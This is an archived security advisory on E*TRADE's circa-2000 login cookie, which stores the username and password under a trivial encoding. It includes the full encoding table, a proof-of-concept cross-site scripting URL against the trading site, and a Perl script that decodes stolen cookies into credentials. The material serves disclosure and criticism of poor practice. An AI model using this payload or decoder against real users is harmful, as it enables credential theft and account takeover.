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TUCoPS :: Web :: Specific Sites :: etrade.htm

E*Trade insecure cookies etc.



Vulnerability

    E*TRADE

Affected

    E*TRADE

Description

    Jeffrey W.  Baker found  following.   Unlike a  Security Advisory,
    this document will not describe the actual flaws in the  software,
    nor will it describe an  exploit.  However, it will  include proof
    that the exploit exists.

    E*TRADE  is  a  company  which  allows  its  customers  to   trade
    securities using  the World  Wide Web.   In E*TRADE's  own  words,
    they have "some of the most advanced technology for Web security."
    E*TRADE compares their services to a steel vault, a moat, and Fort
    Knox.

    E*TRADE uses a cookie authentication scheme which they  apparently
    wrote themselves.  When a  user logs in, E*TRADE concatenates  the
    username  and  password,  transforms  it  with a lookup table, and
    sends the string  back to the  user's browser as  a cookie.   This
    string is  then sent  back to  E*TRADE on  every request.   If the
    user chooses to have a  persistent login, the cookie is  stored on
    the user's disk.

    This is the lookup table they are using.  The single characters on
    the left are converted into the double characters on the right:

        !      HI	9      IA	Q      OI	i      LA
        "      HJ	:      IB	R      OJ	j      LB
        #      HK	;      IC	S      OK	k      LC
        $      HL	<      ID	T      OL	l      LD
        %      HM	=      IE	U      OM	m      LE
        &      HN	>      IF	V      ON	n      LF
        '      HO	?      IG	W      OO	o      LG
        (      H@	@      NH	X      O@	p      MH
        )      HA	A      NI	Y      OA	q      MI
        *      HB	B      NJ	Z      OB	r      MJ
        +      HC	C      NK	[      OC	s      MK
        '      HD	D      NL	\      OD	t      ML
        -      HE	E      NM	]      OE	u      MM
        .      HF	F      NN	^      OF	v      MN
        /      HG	G      NO	_      OG	w      MO
        0      IH	H      N@	`      OH	x      M@
        1      II	I      NA	a      LI	y      MA
        2      IJ	J      NB	b      LJ	z      MB
        3      IK	K      NC	c      LK	{      MC
        4      IL	L      ND	d      LL	|      MD
        5      IM	M      NE	e      LM	}      ME
        6      IN	N      NF	f      LN	~      MF
        7      IO	O      NG	g      LO
        8      I@	P      OH	h      L@

    Example: the  user "fred"  with a  password of  "123" would  get a
    login cookie  "LNMJLMLLIIIJIK".   The cookie  "LELIMJMAILIMIN" can
    be reversed to obtain "mary" and "456".

    The  cookie  can  be  obtained  remotely via cross-site scripting.
    There  are  input  validation  errors  in  multiple  places on the
    E*TRADE site.  As a proof of concept, try this URL:

        https://trading.etrade.com/cgi-bin/gx.cgi/AppLogic+LoginPage?userid=%22><script>alert(%27Have%20a%20nice%20day%27)</script><input%20value=%22

    If JavaScript is enabled, your browser should show an alert dialog
    with the  text "Have  a nice  day".   This bug  could be exploited
    independently  of  the  cookie  bug  to  make  the user execute an
    unwanted trade or transfer of money.

    It took Marc Slemko ~2  minutes after reading the first  couple of
    lines of this advisory to figure out what the issue is and  verify
    it by observing a few cookie values.  It then took half an hour to
    work out the algorithm used and write up the script to decode  it.
    A little perl  script that will  decode etrade's etmember  cookies
    into  a  username  and  password  is  included  at the end of this
    advisory.

    To summarize the issue: when  you choose to save your  login info,
    etrade sets a cookie on your system that consists of your username
    and password,  trivially encoded.   Anyone can  easily steal  that
    cookie via the well known "cross site scripting" attack.

    This issue has been widely publicized, but developers still  don't
    get it.  The bottom line  to remember is that any cookies  you set
    can almost certainly be stolen from your users in some way, so you
    need to very carefully define  what can be done with  those stolen
    cookies.

    But it is worse than this in this case; even before the cross site
    scripting issue made it clear how much this sort of stuff matters,
    it  was  still  a  bad  practice  to  allow  someone  who steals a
    long-lived cookie full access  to sensitive information.   E*TRADE
    did the "obvious" end of this properly by requiring a password  in
    addition to  a cookie,  but screwed  up big  time by then sticking
    that  password  in  a  trivially  encoded fashion into the cookie.
    This cookie is sent to the site without using SSL even!  So if you
    are an etrade user, then  it is almost certain that  your username
    and password  are going  across the  wire unencrypted.   It  is...
    quite difficult for users to try working around this problem.

    And yes, sadly enough, etrade is not alone among online brokerages
    in having shockingly lax  security policies.  TD  Waterhouse isn't
    much better, although their problems mostly stem from being unable
    to install standard vendor security patches.

    #!/usr/local/bin/perl -w
    #
    # $Id: etradedecode.pl,v 1.3 2000/09/25 06:07:45 marcs Exp marcs $
    #
    # pass the value of an etrade etmember cookie in on stdin, and it will
    # spit out the decoded username/password.
    #
    # eg.
    #   $ echo MBMBMBMBMBMBMBMBMBMBIIIIIJJOOJOLONO@OB | ./etradedecode.pl
    #   username/password: zzzzzzzzzz112/RTVXZ
    #
    # This isn't good code and doesn't generalize how the encoding/decoding is
    # done enough, but it still works, possibly with the exception of certain
    # punctuation.
    #
    # Marc Slemko <marcs@znep.com> 00/09/24
    #
    # Based on the hint that "etrade sucks" given by
    # Jeffrey W. Baker <jwbaker@ACM.ORG> on bugtraq.
    #
    #
    use strict;
    $::LOWER_CASE = 32;
    $::SHIFT = 16;
    $::debug = 0;

    sub etshift {
        my ($char, $offset) = @_;
        my $trans;
        if (ord($char) < ord('H')) {
	    $trans = chr(ord($char)+$offset+$::SHIFT);
        } else {
	    $trans = chr(ord($char)+$offset);
        }
        return $trans;
    }

    while (<>) {
        s/\s//g;
        my $line = $_;
        my $output = "";
        for (my $i = 1; $i < length($line); $i += 2) {
	    my $prefix = substr($line, $i-1, 1);
	    my $char = substr($line, $i, 1);
	    my $trans;
	    if ($prefix eq 'H') {
	        $trans = etshift($char, -40);
	    } elsif ($prefix eq 'L') { # lower case
	        $trans = etshift($char, -8+$::LOWER_CASE);
	    } elsif ($prefix eq 'M') { # lower case
	        $trans = etshift($char, +8+$::LOWER_CASE);
	    } elsif ($prefix eq 'N') { # upper case
	        $trans = etshift($char, -8);
	    } elsif ($prefix eq 'O') { # upper case
	        $trans = etshift($char, +8);
	    } elsif ($prefix eq 'I') {
	        $trans = etshift($char, -24);
	    } elsif ($prefix eq 'J') {
	        $trans = etshift($char, -32);
	    } else {
	        die("don't know $prefix$char");
	    }

	    $::debug &&
	        printf "%d:%s/%s:%d:%s\n", $i, $prefix, $char, ord($char), $trans;
	    $output .=  $trans;
        }
        print "username/password: $output\n";
    }

    According to Tim Hollebeek,  Jeffrey Baker's advisory on  security
    vulnerabilities with E*TRADE's web interface describes the  cookie
    encryption algorithm in terms of  a lookup table, and Marc  Slemko
    has  posted  an   implementation  with  a   series  of   compares,
    additions,  and  subtractions.   In  fact,  it  is much worse: The
    encryption scheme  is just  XOR with  a fixed  byte.  "Encryption"
    proceeds as follows:

        1. Take the ASCII byte and XOR it with 0xA8.  (e.g.  for 'f' [0x66] -> [0xCE])
        2. Split it into the high and low nibbles.  (e.g.  [0xCE] -> [0xC, 0xE])
        3. Add 0x40 to produce an uppercase letter or '@' (e.g.  [0xC, 0xE] -> "LN")

    Repeat  for  the  rest  of  the  characters  in  the  username and
    password.  That's it.

Solution

    The  user  can  protect  himself  by  disabling  JavaScript in the
    browser, and by not using the E*TRADE service.

    E*TRADE seems to have rolled out a new cookie scheme, but it isn't
    going  to  do  one  bit  of  good  unless  they plug the dozens of
    cross-site scripting problems littering their site.

    This bug affects potentially all E*TRADE users.  To defend against
    this attack, the user should:

         1) disable JavaScript in the browser.
         2) not use the 6-month persistent login option.  This  option
            will cause the cookie to be stored in a file on the user's
            disk, which opens  up another vector  of attack (via  e.g.
            "brown orifice" in Netscape Navigator)
         3) stop using the E*TRADE web site.


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